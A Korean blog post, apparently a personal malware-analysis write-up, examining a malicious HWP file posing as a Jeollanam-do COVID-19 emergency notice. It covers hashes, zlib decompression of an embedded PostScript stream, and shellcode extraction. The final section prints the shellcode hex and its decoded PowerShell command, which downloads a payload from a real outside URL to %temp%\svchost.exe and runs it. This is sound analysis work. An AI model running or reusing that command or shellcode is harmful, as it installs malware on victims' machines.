디지털포렌식/악성코드 샘플 분석

전라남도 코로나 바이러스 대응 긴급 조회.hwp

Lhaaan 2023. 10. 28. 13:26

파일 구성

  • 파일명: 전라남도 코로나 바이러스 대응 긴급 조회.hwp
  • 해시값
    • MD5: 8451be72b75a38516e7ba7972729909e
    • SHA-1: 45de8115b49ef68915e868138c04da375dfb7096
    • SHA-256: 7050af905f1696b2b8cdb4c6e6805a618addf5acfbd4edc3fc807a663016ab26
  • 바이러스 토탈 조회시 드롭퍼, 다운로더 진단명이 제일 많이 보이는 것을 알 수 있음

SSVIEW

  • hwp파일의 OLE 객체 정보를 파싱해주는 도구로 내부 데이터를 뽑아낼 수 있다.
  • .ps(포스트 스크립트) 파일이 있는 것으로 보아 해당 BIN0005.ps 파일이 악성 파일을 다운로드 하는 쉘 코드로 추정된다.

BIN0005.ps

  • compress 되어 있는 형태라서 decompress를 진행해야 함

zlib decompress

  • 한글 문서형 악성코드는 한글의 eps 취약점을 사용하는 경우가 많다.
  • eps는 BinData 영역에 .eps 형태로 있는데 zlib으로 압축되어 있는 상태
  • 파이썬 코드를 통해 압축해제 가능
import zlib

indata = open("./BIN0005.ps", "rb").read()
outdata = zlib.decompress(indata, -15)
f = open("./BIN0005_decom.ps", "wb")
f.write(outdata)

Post Script 실행

  • 02078797A31370A78797A3939203136233238206164642078797A39392078797A31370A78797A3939203136233243206164642078797A39322078797A31370A78797A5F7365636F6E645F617272617930203136234230206164642078797A39372078797A31370A78797A5F7365636F6E645F617272617930203136233938206164642078797A39342078797A31370A78797A5F6C65616B65645F617272617920312067657420636C6F736566696C65> def image cvx exec
    • 코드의 끝 부분에 exec를 print로 변경해서 분석 진행
  • post script를 실행하기 위해 고스트 스크립트를 다운로드
  • 버전은 9.2.6으로 해야 해석이 된다. 최신버전은 해석을 안해줌 보안 이슈인지 모르겠음…
  • 난독화 되어 있는것으로 보이는데, 이것을 어떻게 해석해야할지 감이 안잡혔다.

Shellcode 분석

  • 포스트 스크립트 해석 후 코드 확인해 보니 shellcode로 추정되는 부분이 있었음
  • 33C964A1300000008B400C8B7014AD96AD8B58108B533C03D38B527803D38B722003F333C941AD03C381384765745075F4817804726F634175EB8178086464726575E28B722403F3668B0C4E498B721C03F38B148E03D333F68BF233C9516861727941684C696272684C6F61648BCC5153FFD233C966B96C6C516872742E64686D7376638BCC51FFD033FF8BF833D25266BA656D5268737973748BCC515733D28BD6FFD2E8B0000000706F7765727368656C6C20286E65772D6F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F7777772E736F66612E72732F77702D636F6E74656E742F7468656D65732F7477656E74796E696E657465656E2F736173732F6C61796F75742F68312E6A7067272C272574656D70255C5C737663686F73742E65786527293B202574656D70255C5C737663686F73742E6578653B00FFD033D25268657869748BCC5157FFD6FFD0
  • 명령어: powershell (new-object System.Net.WebClient).DownloadFile('http://www.sofa.rs/wp-content/themes/twentynineteen/sass/layout/h1.jpg','%temp%\\\\\\\\svchost.exe'); %temp%\\svchost.exe;
  • “http://www.sofa.rs/wp-content/themes/twentynineteen/sass/layout/h1.jpg”를 다운로드 받을 때 temp 폴더에 svchost.exe 파일로 다운로드, 그 후에 바로 실행

svchost.exe